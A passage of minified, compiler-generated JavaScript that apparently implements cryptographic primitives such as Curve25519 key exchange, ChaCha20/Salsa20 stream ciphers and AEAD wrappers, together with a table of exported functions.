+V,a[n+220>>2]=H+_t,a[n+216>>2]=L+Qt,a[n+212>>2]=O+Y,a[n+208>>2]=G+K,a[n+204>>2]=J+W,a[n+200>>2]=T+j,a[n+196>>2]=M+R,a[n+192>>2]=S+x,v(q=n+96|0,P=n+48|0,N=n+240|0),v(D=n+192|0,D,n),b(P,n),b(n,N),l=a[n+192>>2],_=a[n+96>>2],Q=a[n+196>>2],B=a[n+100>>2],k=a[n+200>>2],E=a[n+104>>2],w=a[n+204>>2],m=a[n+108>>2],g=a[n+208>>2],o=a[n+112>>2],C=a[n+212>>2],d=a[n+116>>2],p=a[n+216>>2],f=a[n+120>>2],h=a[n+220>>2],u=a[n+124>>2],i=a[n+224>>2],A=a[n+128>>2],r=a[n+228>>2],e=a[n+132>>2],a[n+180>>2]=r+e,a[n+176>>2]=A+i,a[n+172>>2]=h+u,a[n+168>>2]=f+p,a[n+164>>2]=d+C,a[n+160>>2]=o+g,a[n+156>>2]=m+w,a[n+152>>2]=E+k,a[n+148>>2]=Q+B,a[n+144>>2]=l+_,a[n+228>>2]=e-r,a[n+224>>2]=A-i,a[n+220>>2]=u-h,a[n+216>>2]=f-p,a[n+212>>2]=d-C,a[n+208>>2]=o-g,a[n+204>>2]=m-w,a[n+200>>2]=E-k,a[n+196>>2]=B-Q,a[n+192>>2]=_-l,v(N,n,P),H=a[n+52>>2],m=a[n+4>>2],L=a[n+56>>2],g=a[n+8>>2],O=a[n+64>>2],p=a[n+16>>2],K=a[n+60>>2],f=a[n+12>>2],J=a[n+72>>2],h=a[n+24>>2],j=a[n+68>>2],u=a[n+20>>2],M=a[n+80>>2],i=a[n+32>>2],x=a[n+76>>2],A=a[n+28>>2],z=a[n+84>>2],e=a[n+36>>2],V=a[n+48>>2],r=a[n>>2]-V|0,a[n>>2]=r,e=e-z|0,a[n+36>>2]=e,F=A-x|0,a[n+28>>2]=F,S=i-M|0,a[n+32>>2]=S,o=u-j|0,a[n+20>>2]=o,C=h-J|0,a[n+24>>2]=C,d=f-K|0,a[n+12>>2]=d,p=p-O|0,a[n+16>>2]=p,f=g-L|0,a[n+8>>2]=f,i=m-H|0,a[n+4>>2]=i,b(D,D),e=Bt(e,e>>31,121666,0),A=y,W=e,e=Bt((33554431&(A=(l=e+16777216|0)>>>0<16777216?A+1|0:A))<<7|l>>>25,A>>25,19,0),u=y,A=e,e=Bt(r,r>>31,121666,0),G=y+u|0,e=e>>>0>(A=A+e|0)>>>0?G+1|0:G,r=(h=A+33554432|0)>>>0<33554432?e+1|0:e,_=A-(-67108864&h)|0,a[n+96>>2]=_,u=Bt(i,i>>31,121666,0),A=y,A=(i=u+16777216|0)>>>0<16777216?A+1|0:A,Q=(u-(-33554432&i)|0)+((67108863&r)<<6|h>>>26)|0,a[n+100>>2]=Q,G=(e=A)>>25,A=(33554431&e)<<7|i>>>25,r=Bt(f,f>>31,121666,0)+A|0,e=G+y|0,e=r>>>0>>0?e+1|0:e,u=(B=r+33554432|0)>>>0<33554432?e+1|0:e,k=r-(-67108864&B)|0,a[n+104>>2]=k,A=Bt(p,p>>31,121666,0),i=y,r=Bt(d,d>>31,121666,0),e=y,Y=A,T=r,A=(33554431&(e=(E=r+16777216|0)>>>0<16777216?e+1|0:e))<<7|E>>>25,e=(e>>25)+i|0,e=(r=Y+A|0)>>>0>>0?e+1|0:e,i=(w=r+33554432|0)>>>0<33554432?e+1|0:e,m=r-(-67108864&w)|0,a[n+112>>2]=m,A=Bt(C,C>>31,121666,0),h=y,r=Bt(o,o>>31,121666,0),e=y,Y=A,R=r,A=(33554431&(e=(g=r+16777216|0)>>>0<16777216?e+1|0:e))<<7|g>>>25,e=(e>>25)+h|0,e=(r=Y+A|0)>>>0>>0?e+1|0:e,A=(o=r+33554432|0)>>>0<33554432?e+1|0:e,C=r-(-67108864&o)|0,a[n+120>>2]=C,h=Bt(S,S>>31,121666,0),f=y,r=Bt(F,F>>31,121666,0),e=y,S=r,r=(33554431&(e=(d=r+16777216|0)>>>0<16777216?e+1|0:e))<<7|d>>>25,e=(e>>25)+f|0,e=r>>>0>(h=r+h|0)>>>0?e+1|0:e,r=(p=h+33554432|0)>>>0<33554432?e+1|0:e,f=h-(-67108864&p)|0,a[n+128>>2]=f,h=(u=T+((67108863&u)<<6|B>>>26)|0)-(-33554432&E)|0,a[n+108>>2]=h,u=(i=R+((67108863&i)<<6|w>>>26)|0)-(-33554432&g)|0,a[n+116>>2]=u,i=(e=S+((67108863&A)<<6|o>>>26)|0)-(-33554432&d)|0,a[n+124>>2]=i,r=(r=W+((67108863&r)<<6|p>>>26)|0)-(-33554432&l)|0,a[n+132>>2]=r,b(e=n+144|0,e),a[n+84>>2]=r+z,a[n+80>>2]=f+M,a[n+76>>2]=i+x,a[n+72>>2]=C+J,a[n+68>>2]=u+j,a[n+64>>2]=m+O,a[n+60>>2]=h+K,a[n+56>>2]=k+L,a[n+52>>2]=Q+H,a[n+48>>2]=_+V,r=wt-1|0,v(q,n+288|0,D),v(D,n,P),wt;);C=a[n+144>>2],_=a[n+240>>2],d=a[n+148>>2],Q=a[n+244>>2],p=a[n+152>>2],B=a[n+248>>2],f=a[n+156>>2],k=a[n+252>>2],h=a[n+160>>2],E=a[n+256>>2],u=a[n+164>>2],w=a[n+260>>2],i=a[n+168>>2],m=a[n+264>>2],A=a[n+172>>2],g=a[n+268>>2],r=a[n+176>>2],o=a[n+272>>2],l=0-Z|0,e=a[n+276>>2],a[n+276>>2]=l&(e^a[n+180>>2])^e,a[n+272>>2]=o^l&(r^o),a[n+268>>2]=g^l&(A^g),a[n+264>>2]=m^l&(i^m),a[n+260>>2]=w^l&(u^w),a[n+256>>2]=E^l&(h^E),a[n+252>>2]=k^l&(f^k),a[n+248>>2]=B^l&(p^B),a[n+244>>2]=Q^l&(d^Q),a[n+240>>2]=_^l&(C^_),_=a[n+192>>2],C=a[n+96>>2],Q=a[n+196>>2],d=a[n+100>>2],B=a[n+200>>2],p=a[n+104>>2],k=a[n+204>>2],f=a[n+108>>2],E=a[n+208>>2],h=a[n+112>>2],w=a[n+212>>2],u=a[n+116>>2],m=a[n+216>>2],i=a[n+120>>2],g=a[n+220>>2],A=a[n+124>>2],o=a[n+224>>2],r=a[n+128>>2],e=a[n+228>>2],a[n+228>>2]=l&(e^a[n+132>>2])^e,a[n+224>>2]=o^l&(r^o),a[n+220>>2]=g^l&(A^g),a[n+216>>2]=m^l&(i^m),a[n+212>>2]=w^l&(u^w),a[n+208>>2]=E^l&(h^E),a[n+204>>2]=k^l&(f^k),a[n+200>>2]=B^l&(p^B),a[n+196>>2]=Q^l&(d^Q),a[n+192>>2]=_^l&(C^_),X(D,D),v(N,N,D),et(t,N),oe(vt,32),A=0}return I=n+368|0,0|A},function(t,e){var r,n,A,i,o,h,g,u,l,f,p,d,y,C,m,B,E,w,_,Q;return e|=0,I=r=I-304|0,s[0|(t|=0)]=c[0|e],s[t+1|0]=c[e+1|0],s[t+2|0]=c[e+2|0],s[t+3|0]=c[e+3|0],s[t+4|0]=c[e+4|0],s[t+5|0]=c[e+5|0],s[t+6|0]=c[e+6|0],s[t+7|0]=c[e+7|0],s[t+8|0]=c[e+8|0],s[t+9|0]=c[e+9|0],s[t+10|0]=c[e+10|0],s[t+11|0]=c[e+11|0],s[t+12|0]=c[e+12|0],s[t+13|0]=c[e+13|0],s[t+14|0]=c[e+14|0],s[t+15|0]=c[e+15|0],s[t+16|0]=c[e+16|0],s[t+17|0]=c[e+17|0],s[t+18|0]=c[e+18|0],s[t+19|0]=c[e+19|0],s[t+20|0]=c[e+20|0],s[t+21|0]=c[e+21|0],s[t+22|0]=c[e+22|0],s[t+23|0]=c[e+23|0],s[t+24|0]=c[e+24|0],s[t+25|0]=c[e+25|0],s[t+26|0]=c[e+26|0],s[t+27|0]=c[e+27|0],s[t+28|0]=c[e+28|0],s[t+29|0]=c[e+29|0],s[t+30|0]=c[e+30|0],e=c[e+31|0],s[0|t]=248&c[0|t],s[t+31|0]=63&e|64,H(r+48|0,t),e=a[r+132>>2],n=a[r+92>>2],A=a[r+136>>2],i=a[r+96>>2],o=a[r+140>>2],h=a[r+100>>2],g=a[r+144>>2],u=a[r+104>>2],l=a[r+148>>2],f=a[r+108>>2],p=a[r+152>>2],d=a[r+112>>2],y=a[r+156>>2],C=a[r+116>>2],m=a[r+160>>2],B=a[r+120>>2],E=a[r+128>>2],w=a[r+88>>2],_=a[r+124>>2],Q=a[r+164>>2],a[r+292>>2]=_+Q,a[r+288>>2]=m+B,a[r+284>>2]=y+C,a[r+280>>2]=p+d,a[r+276>>2]=l+f,a[r+272>>2]=g+u,a[r+268>>2]=o+h,a[r+264>>2]=A+i,a[r+260>>2]=e+n,a[r+256>>2]=E+w,a[r+244>>2]=Q-_,a[r+240>>2]=m-B,a[r+236>>2]=y-C,a[r+232>>2]=p-d,a[r+228>>2]=l-f,a[r+224>>2]=g-u,a[r+220>>2]=o-h,a[r+216>>2]=A-i,a[r+212>>2]=e-n,a[r+208>>2]=E-w,X(e=r+208|0,e),v(r,r+256|0,e),et(t,r),I=r+304|0,0},function(t,e,r,n,A){t|=0,n|=0,A|=0;var i,o=0,h=0,g=0,u=0;if(I=i=I-112|0,(e|=0)|(r|=0)){o=c[A+28|0]|c[A+29|0]<<8|c[A+30|0]<<16|c[A+31|0]<<24,a[i+24>>2]=c[A+24|0]|c[A+25|0]<<8|c[A+26|0]<<16|c[A+27|0]<<24,a[i+28>>2]=o,o=c[A+20|0]|c[A+21|0]<<8|c[A+22|0]<<16|c[A+23|0]<<24,a[i+16>>2]=c[A+16|0]|c[A+17|0]<<8|c[A+18|0]<<16|c[A+19|0]<<24,a[i+20>>2]=o,o=c[A+4|0]|c[A+5|0]<<8|c[A+6|0]<<16|c[A+7|0]<<24,a[i>>2]=c[0|A]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24,a[i+4>>2]=o,o=c[A+12|0]|c[A+13|0]<<8|c[A+14|0]<<16|c[A+15|0]<<24,a[i+8>>2]=c[A+8|0]|c[A+9|0]<<8|c[A+10|0]<<16|c[A+11|0]<<24,a[i+12>>2]=o,A=c[0|n]|c[n+1|0]<<8|c[n+2|0]<<16|c[n+3|0]<<24,n=c[n+4|0]|c[n+5|0]<<8|c[n+6|0]<<16|c[n+7|0]<<24,a[i+104>>2]=0,a[i+108>>2]=0,a[i+96>>2]=A,a[i+100>>2]=n;t:{if(!r&e>>>0>=64|r){for(;M(t,i+96|0,i),n=c[i+104|0]+1|0,s[i+104|0]=n,n=c[i+105|0]+(n>>>8|0)|0,s[i+105|0]=n,n=c[i+106|0]+(n>>>8|0)|0,s[i+106|0]=n,n=c[i+107|0]+(n>>>8|0)|0,s[i+107|0]=n,n=c[i+108|0]+(n>>>8|0)|0,s[i+108|0]=n,n=c[i+109|0]+(n>>>8|0)|0,s[i+109|0]=n,n=c[i+110|0]+(n>>>8|0)|0,s[i+110|0]=n,s[i+111|0]=c[i+111|0]+(n>>>8|0),t=t- -64|0,r=r-1|0,!(r=(e=e+-64|0)>>>0<4294967232?r+1|0:r)&e>>>0>63|r;);if(!(e|r))break t}if(n=0,M(i+32|0,i+96|0,i),r=3&e,A=0,e-1>>>0>=3)for(o=-4&e,e=0;h=g=i+32|0,s[t+A|0]=c[h+A|0],s[(u=1|A)+t|0]=c[h+u|0],s[(h=2|A)+t|0]=c[h+g|0],s[(h=3|A)+t|0]=c[h+(i+32|0)|0],A=A+4|0,(0|o)!=(0|(e=e+4|0)););if(r)for(;s[t+A|0]=c[(i+32|0)+A|0],A=A+1|0,(0|r)!=(0|(n=n+1|0)););}oe(i+32|0,64),oe(i,32)}return I=i+112|0,0},function(t,e,r,n,A,i,o,h){t|=0,e|=0,A|=0,i|=0,o|=0,h|=0;var g,u=0;if(I=g=I-112|0,(r|=0)|(n|=0)){u=c[h+28|0]|c[h+29|0]<<8|c[h+30|0]<<16|c[h+31|0]<<24,a[g+24>>2]=c[h+24|0]|c[h+25|0]<<8|c[h+26|0]<<16|c[h+27|0]<<24,a[g+28>>2]=u,u=c[h+20|0]|c[h+21|0]<<8|c[h+22|0]<<16|c[h+23|0]<<24,a[g+16>>2]=c[h+16|0]|c[h+17|0]<<8|c[h+18|0]<<16|c[h+19|0]<<24,a[g+20>>2]=u,u=c[h+4|0]|c[h+5|0]<<8|c[h+6|0]<<16|c[h+7|0]<<24,a[g>>2]=c[0|h]|c[h+1|0]<<8|c[h+2|0]<<16|c[h+3|0]<<24,a[g+4>>2]=u,u=c[h+12|0]|c[h+13|0]<<8|c[h+14|0]<<16|c[h+15|0]<<24,a[g+8>>2]=c[h+8|0]|c[h+9|0]<<8|c[h+10|0]<<16|c[h+11|0]<<24,a[g+12>>2]=u,h=c[A+4|0]|c[A+5|0]<<8|c[A+6|0]<<16|c[A+7|0]<<24,a[g+96>>2]=c[0|A]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24,a[g+100>>2]=h,s[g+104|0]=i,s[g+111|0]=o>>>24,s[g+110|0]=o>>>16,s[g+109|0]=o>>>8,s[g+108|0]=o,s[g+107|0]=(16777215&o)<<8|i>>>24,s[g+106|0]=(65535&o)<<16|i>>>16,s[g+105|0]=(255&o)<<24|i>>>8;t:{if(!n&r>>>0>=64|n){for(;;){for(h=0,M(g+32|0,g+96|0,g);i=g+32|0,s[t+h|0]=c[i+h|0]^c[e+h|0],s[(A=1|h)+t|0]=c[A+i|0]^c[e+A|0],64!=(0|(h=h+2|0)););if(A=c[g+104|0]+1|0,s[g+104|0]=A,A=c[g+105|0]+(A>>>8|0)|0,s[g+105|0]=A,A=c[g+106|0]+(A>>>8|0)|0,s[g+106|0]=A,A=c[g+107|0]+(A>>>8|0)|0,s[g+107|0]=A,A=c[g+108|0]+(A>>>8|0)|0,s[g+108|0]=A,A=c[g+109|0]+(A>>>8|0)|0,s[g+109|0]=A,A=c[g+110|0]+(A>>>8|0)|0,s[g+110|0]=A,s[g+111|0]=c[g+111|0]+(A>>>8|0),e=e- -64|0,t=t- -64|0,n=n-1|0,!(!(n=(r=r+-64|0)>>>0<4294967232?n+1|0:n)&r>>>0>63|n))break}if(!(r|n))break t}if(h=0,M(g+32|0,g+96|0,g),n=1&r,1!=(0|r))for(i=-2&r,A=0;o=g+32|0,s[t+h|0]=c[o+h|0]^c[e+h|0],s[(r=1|h)+t|0]=c[r+o|0]^c[e+r|0],h=h+2|0,(0|i)!=(0|(A=A+2|0)););n&&(s[t+h|0]=c[(g+32|0)+h|0]^c[e+h|0])}oe(g+32|0,64),oe(g,32)}return I=g+112|0,0},function(t,e,r,n,A){var i;return t|=0,n|=0,A|=0,I=i=I+-64|0,(e|=0)|(r|=0)&&(a[i+8>>2]=2036477234,a[i+12>>2]=1797285236,a[i>>2]=1634760805,a[i+4>>2]=857760878,a[i+16>>2]=c[0|A]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24,a[i+20>>2]=c[A+4|0]|c[A+5|0]<<8|c[A+6|0]<<16|c[A+7|0]<<24,a[i+24>>2]=c[A+8|0]|c[A+9|0]<<8|c[A+10|0]<<16|c[A+11|0]<<24,a[i+28>>2]=c[A+12|0]|c[A+13|0]<<8|c[A+14|0]<<16|c[A+15|0]<<24,a[i+32>>2]=c[A+16|0]|c[A+17|0]<<8|c[A+18|0]<<16|c[A+19|0]<<24,a[i+36>>2]=c[A+20|0]|c[A+21|0]<<8|c[A+22|0]<<16|c[A+23|0]<<24,a[i+40>>2]=c[A+24|0]|c[A+25|0]<<8|c[A+26|0]<<16|c[A+27|0]<<24,A=c[A+28|0]|c[A+29|0]<<8|c[A+30|0]<<16|c[A+31|0]<<24,a[i+48>>2]=0,a[i+52>>2]=0,a[i+44>>2]=A,a[i+56>>2]=c[0|n]|c[n+1|0]<<8|c[n+2|0]<<16|c[n+3|0]<<24,a[i+60>>2]=c[n+4|0]|c[n+5|0]<<8|c[n+6|0]<<16|c[n+7|0]<<24,k(i,t=xt(t,0,e),t,e,r),oe(i,64)),I=i- -64|0,0},function(t,e,r,n,A){var i;return t|=0,n|=0,A|=0,I=i=I+-64|0,(e|=0)|(r|=0)&&(a[i+8>>2]=2036477234,a[i+12>>2]=1797285236,a[i>>2]=1634760805,a[i+4>>2]=857760878,a[i+16>>2]=c[0|A]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24,a[i+20>>2]=c[A+4|0]|c[A+5|0]<<8|c[A+6|0]<<16|c[A+7|0]<<24,a[i+24>>2]=c[A+8|0]|c[A+9|0]<<8|c[A+10|0]<<16|c[A+11|0]<<24,a[i+28>>2]=c[A+12|0]|c[A+13|0]<<8|c[A+14|0]<<16|c[A+15|0]<<24,a[i+32>>2]=c[A+16|0]|c[A+17|0]<<8|c[A+18|0]<<16|c[A+19|0]<<24,a[i+36>>2]=c[A+20|0]|c[A+21|0]<<8|c[A+22|0]<<16|c[A+23|0]<<24,a[i+40>>2]=c[A+24|0]|c[A+25|0]<<8|c[A+26|0]<<16|c[A+27|0]<<24,A=c[A+28|0]|c[A+29|0]<<8|c[A+30|0]<<16|c[A+31|0]<<24,a[i+48>>2]=0,a[i+44>>2]=A,a[i+52>>2]=c[0|n]|c[n+1|0]<<8|c[n+2|0]<<16|c[n+3|0]<<24,a[i+56>>2]=c[n+4|0]|c[n+5|0]<<8|c[n+6|0]<<16|c[n+7|0]<<24,a[i+60>>2]=c[n+8|0]|c[n+9|0]<<8|c[n+10|0]<<16|c[n+11|0]<<24,k(i,t=xt(t,0,e),t,e,r),oe(i,64)),I=i- -64|0,0},function(t,e,r,n,A,i,o,s){var h;return t|=0,e|=0,A|=0,i|=0,o|=0,s|=0,I=h=I+-64|0,(r|=0)|(n|=0)&&(a[h+8>>2]=2036477234,a[h+12>>2]=1797285236,a[h>>2]=1634760805,a[h+4>>2]=857760878,a[h+16>>2]=c[0|s]|c[s+1|0]<<8|c[s+2|0]<<16|c[s+3|0]<<24,a[h+20>>2]=c[s+4|0]|c[s+5|0]<<8|c[s+6|0]<<16|c[s+7|0]<<24,a[h+24>>2]=c[s+8|0]|c[s+9|0]<<8|c[s+10|0]<<16|c[s+11|0]<<24,a[h+28>>2]=c[s+12|0]|c[s+13|0]<<8|c[s+14|0]<<16|c[s+15|0]<<24,a[h+32>>2]=c[s+16|0]|c[s+17|0]<<8|c[s+18|0]<<16|c[s+19|0]<<24,a[h+36>>2]=c[s+20|0]|c[s+21|0]<<8|c[s+22|0]<<16|c[s+23|0]<<24,a[h+40>>2]=c[s+24|0]|c[s+25|0]<<8|c[s+26|0]<<16|c[s+27|0]<<24,a[h+44>>2]=c[s+28|0]|c[s+29|0]<<8|c[s+30|0]<<16|c[s+31|0]<<24,a[h+48>>2]=i,a[h+52>>2]=o,a[h+56>>2]=c[0|A]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24,a[h+60>>2]=c[A+4|0]|c[A+5|0]<<8|c[A+6|0]<<16|c[A+7|0]<<24,k(h,e,t,r,n),oe(h,64)),I=h- -64|0,0},function(t,e,r,n,A,i,o){var s;return t|=0,e|=0,A|=0,i|=0,o|=0,I=s=I+-64|0,(r|=0)|(n|=0)&&(a[s+8>>2]=2036477234,a[s+12>>2]=1797285236,a[s>>2]=1634760805,a[s+4>>2]=857760878,a[s+16>>2]=c[0|o]|c[o+1|0]<<8|c[o+2|0]<<16|c[o+3|0]<<24,a[s+20>>2]=c[o+4|0]|c[o+5|0]<<8|c[o+6|0]<<16|c[o+7|0]<<24,a[s+24>>2]=c[o+8|0]|c[o+9|0]<<8|c[o+10|0]<<16|c[o+11|0]<<24,a[s+28>>2]=c[o+12|0]|c[o+13|0]<<8|c[o+14|0]<<16|c[o+15|0]<<24,a[s+32>>2]=c[o+16|0]|c[o+17|0]<<8|c[o+18|0]<<16|c[o+19|0]<<24,a[s+36>>2]=c[o+20|0]|c[o+21|0]<<8|c[o+22|0]<<16|c[o+23|0]<<24,a[s+40>>2]=c[o+24|0]|c[o+25|0]<<8|c[o+26|0]<<16|c[o+27|0]<<24,o=c[o+28|0]|c[o+29|0]<<8|c[o+30|0]<<16|c[o+31|0]<<24,a[s+48>>2]=i,a[s+44>>2]=o,a[s+52>>2]=c[0|A]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24,a[s+56>>2]=c[A+4|0]|c[A+5|0]<<8|c[A+6|0]<<16|c[A+7|0]<<24,a[s+60>>2]=c[A+8|0]|c[A+9|0]<<8|c[A+10|0]<<16|c[A+11|0]<<24,k(s,e,t,r,n),oe(s,64)),I=s- -64|0,0}],de.grow=function(t){var e=this.length;return this.length=this.length+t,e},de.set=function(t,e){this[t]=e},de.get=function(t){return this[t]},de);function ye(){return o.byteLength/65536|0}return{f:function(){},g:function(t,e,r,n,A,i,o,s,a,c,h,g){return 0|yt(t|=0,e|=0,r|=0,n|=0,(t=0)|(A|=0),i|=0,o|=0,t|(s|=0),a|=0,h|=0,g|=0)},h:function(t,e,r,n,A,o,s,c,h,g,u){return t|=0,e|=0,n|=0,s|=0,h|=0,s|=h=0,!(A|=0)&(n|=h)>>>0<4294967280?(yt(t,t+n|0,0,r|=0,n,A,o|=0,s,c|=0,g|=0,u|=0),e&&(A=(t=n+16|0)>>>0<16?A+1|0:A,a[e>>2]=t,a[e+4>>2]=A)):(Kt(),i()),0},i:function(t,e,r,n,A,i,o,s,a,c,h,g){return 0|dt(t|=0,e|=0,r|=0,n|=0,(t=0)|(A|=0),i|=0,o|=0,t|(s|=0),a|=0,h|=0,g|=0)},j:function(t,e,r,n,A,o,s,c,h,g,u){return t|=0,e|=0,n|=0,s|=0,h|=0,s|=h=0,!(A|=0)&(n|=h)>>>0<4294967280?(dt(t,t+n|0,0,r|=0,n,A,o|=0,s,c|=0,g|=0,u|=0),e&&(A=(t=n+16|0)>>>0<16?A+1|0:A,a[e>>2]=t,a[e+4>>2]=A)):(Kt(),i()),0},k:function(t,e,r,n,A,i,o,s,a,c,h){return 0|It(t|=0,r|=0,(t=0)|(n|=0),A|=0,i|=0,o|=0,t|(s|=0),a|=0,c|=0,h|=0)},l:function(t,e,r,n,A,i,o,s,c,h,g){return e|=0,r|=0,n|=0,A|=0,s|=0,s|=0,r=-1,!(i|=0)&(A|=0)>>>0>=16|i&&(r=It(t|=0,n,A-16|0,i-(A>>>0<16)|0,(n+A|0)-16|0,o|=0,s,c|=0,h|=0,g|=0)),e&&(a[e>>2]=r?0:A-16|0,a[e+4>>2]=r?0:i-(A>>>0<16)|0),0|r},m:function(t,e,r,n,A,i,o,s,a,c,h){return 0|pt(t|=0,r|=0,(t=0)|(n|=0),A|=0,i|=0,o|=0,t|(s|=0),a|=0,c|=0,h|=0)},n:function(t,e,r,n,A,i,o,s,c,h,g){return e|=0,r|=0,n|=0,A|=0,s|=0,s|=0,r=-1,!(i|=0)&(A|=0)>>>0>=16|i&&(r=pt(t|=0,n,A-16|0,i-(A>>>0<16)|0,(n+A|0)-16|0,o|=0,s,c|=0,h|=0,g|=0)),e&&(a[e>>2]=r?0:A-16|0,a[e+4>>2]=r?0:i-(A>>>0<16)|0),0|r},o:ce,p:function(){return 12},q:pe,r:ae,s:ge,t:ie,u:ce,v:fe,w:pe,x:ae,y:ge,z:ie,A:function(t,e,r,n,A,i,o,s,a,c,h,g){return 0|at(t|=0,e|=0,r|=0,n|=0,(t=0)|(A|=0),i|=0,o|=0,t|(s|=0),a|=0,h|=0,g|=0)},B:function(t,e,r,n,A,o,s,c,h,g,u){return t|=0,e|=0,n|=0,s|=0,h|=0,s|=h=0,!(A|=0)&(n|=h)>>>0<4294967280?(at(t,t+n|0,0,r|=0,n,A,o|=0,s,c|=0,g|=0,u|=0),e&&(A=(t=n+16|0)>>>0<16?A+1|0:A,a[e>>2]=t,a[e+4>>2]=A)):(Kt(),i()),0},C:function(t,e,r,n,A,i,o,s,a,c,h){return 0|st(t|=0,r|=0,(t=0)|(n|=0),A|=0,i|=0,o|=0,t|(s|=0),a|=0,c|=0,h|=0)},D:function(t,e,r,n,A,i,o,s,c,h,g){return e|=0,r|=0,n|=0,A|=0,s|=0,s|=0,r=-1,!(i|=0)&(A|=0)>>>0>=16|i&&(r=st(t|=0,n,A-16|0,i-(A>>>0<16)|0,(n+A|0)-16|0,o|=0,s,c|=0,h|=0,g|=0)),e&&(a[e>>2]=r?0:A-16|0,a[e+4>>2]=r?0:i-(A>>>0<16)|0),0|r},E:ce,F:he,G:pe,H:ae,I:ge,J:ie,K:ce,L:ce,M:function(t,e,r,n,A){var i;return t|=0,e|=0,r|=0,n|=0,I=i=I-480|0,rt(i,A|=0,32),te(i,e,r,n),Pt(i,i+416|0),e=a[i+444>>2],r=a[i+440>>2],s[t+24|0]=r,s[t+25|0]=r>>>8,s[t+26|0]=r>>>16,s[t+27|0]=r>>>24,s[t+28|0]=e,s[t+29|0]=e>>>8,s[t+30|0]=e>>>16,s[t+31|0]=e>>>24,e=a[i+436>>2],r=a[i+432>>2],s[t+16|0]=r,s[t+17|0]=r>>>8,s[t+18|0]=r>>>16,s[t+19|0]=r>>>24,s[t+20|0]=e,s[t+21|0]=e>>>8,s[t+22|0]=e>>>16,s[t+23|0]=e>>>24,e=a[i+428>>2],r=a[i+424>>2],s[t+8|0]=r,s[t+9|0]=r>>>8,s[t+10|0]=r>>>16,s[t+11|0]=r>>>24,s[t+12|0]=e,s[t+13|0]=e>>>8,s[t+14|0]=e>>>16,s[t+15|0]=e>>>24,e=a[i+420>>2],r=a[i+416>>2],s[0|t]=r,s[t+1|0]=r>>>8,s[t+2|0]=r>>>16,s[t+3|0]=r>>>24,s[t+4|0]=e,s[t+5|0]=e>>>8,s[t+6|0]=e>>>16,s[t+7|0]=e>>>24,I=i+480|0,0},N:function(t,e,r,n,A){var i,o;return t|=0,e|=0,r|=0,n|=0,I=i=I-512|0,rt(o=i+32|0,A|=0,32),te(o,e,r,n),Pt(o,i+448|0),e=a[i+476>>2],a[i+24>>2]=a[i+472>>2],a[i+28>>2]=e,e=a[i+468>>2],a[i+16>>2]=a[i+464>>2],a[i+20>>2]=e,e=a[i+460>>2],a[i+8>>2]=a[i+456>>2],a[i+12>>2]=e,e=a[i+452>>2],a[i>>2]=a[i+448>>2],a[i+4>>2]=e,e=Ct(t,i),r=ut(i,t,32),I=i+512|0,((0|t)==(0|i)?-1:e)|r},O:ie,P:ce,Q:ce,R:ce,S:ce,T:he,U:ae,V:ge,W:function(t,e,r){t|=0,e|=0;var n,A=0;return I=n=I+-64|0,ct(n,r|=0,32,0),r=a[n+28>>2],A=a[n+24>>2],s[e+24|0]=A,s[e+25|0]=A>>>8,s[e+26|0]=A>>>16,s[e+27|0]=A>>>24,s[e+28|0]=r,s[e+29|0]=r>>>8,s[e+30|0]=r>>>16,s[e+31|0]=r>>>24,r=a[n+20>>2],A=a[n+16>>2],s[e+16|0]=A,s[e+17|0]=A>>>8,s[e+18|0]=A>>>16,s[e+19|0]=A>>>24,s[e+20|0]=r,s[e+21|0]=r>>>8,s[e+22|0]=r>>>16,s[e+23|0]=r>>>24,r=a[n+12>>2],A=a[n+8>>2],s[e+8|0]=A,s[e+9|0]=A>>>8,s[e+10|0]=A>>>16,s[e+11|0]=A>>>24,s[e+12|0]=r,s[e+13|0]=r>>>8,s[e+14|0]=r>>>16,s[e+15|0]=r>>>24,r=a[n+4>>2],A=a[n>>2],s[0|e]=A,s[e+1|0]=A>>>8,s[e+2|0]=A>>>16,s[e+3|0]=A>>>24,s[e+4|0]=r,s[e+5|0]=r>>>8,s[e+6|0]=r>>>16,s[e+7|0]=r>>>24,oe(n,64),t=ee(t,e),I=n- -64|0,0|t},X:jt,Y:Nt,Z:Tt,_:function(t,e,r,n,A,i,o,s){t|=0,e|=0,r|=0,i|=0;var a,c=0;return c=n|=0,n=A|=0,a=0|c,I=c=I-32|0,A=-1,Nt(c,o|=0,s|=0)||(A=ot(t,e,r,a,n,i,c),oe(c,32)),I=c+32|0,0|A},$:function(t,e,r,n,A,o){return t|=0,e|=0,A|=0,o|=0,!(n|=0)&(r|=0)>>>0>=4294967280|n&&(Kt(),i()),0|ot(t+16|0,t,e,r,n,A,o)},aa:function(t,e,r,n,A,i,o){return 0|Dt(t|=0,e|=0,r|=0,n|=0,A|=0,i|=0,o|=0)},ba:Rt,ca:function(t,e,r,n,A,i,o,s){t|=0,e|=0,r|=0,i|=0;var a,c=0;return c=n|=0,n=A|=0,a=0|c,I=c=I-32|0,A=-1,Nt(c,o|=0,s|=0)||(A=it(t,e,r,a,n,i,c),oe(c,32)),I=c+32|0,0|A},da:St,ea:function(t,e,r,n,A,i,o){return 0|_t(t|=0,e|=0,r|=0,n|=0,A|=0,i|=0,o|=0)},fa:function(t,e,r,n,A){t|=0,e|=0,A|=0;var i,o,c,h,g=0,u=0;return g=r|=0,r=n|=0,h=0|g,g=n=I,I=i=n-512&-64,n=-1,jt(o=i- 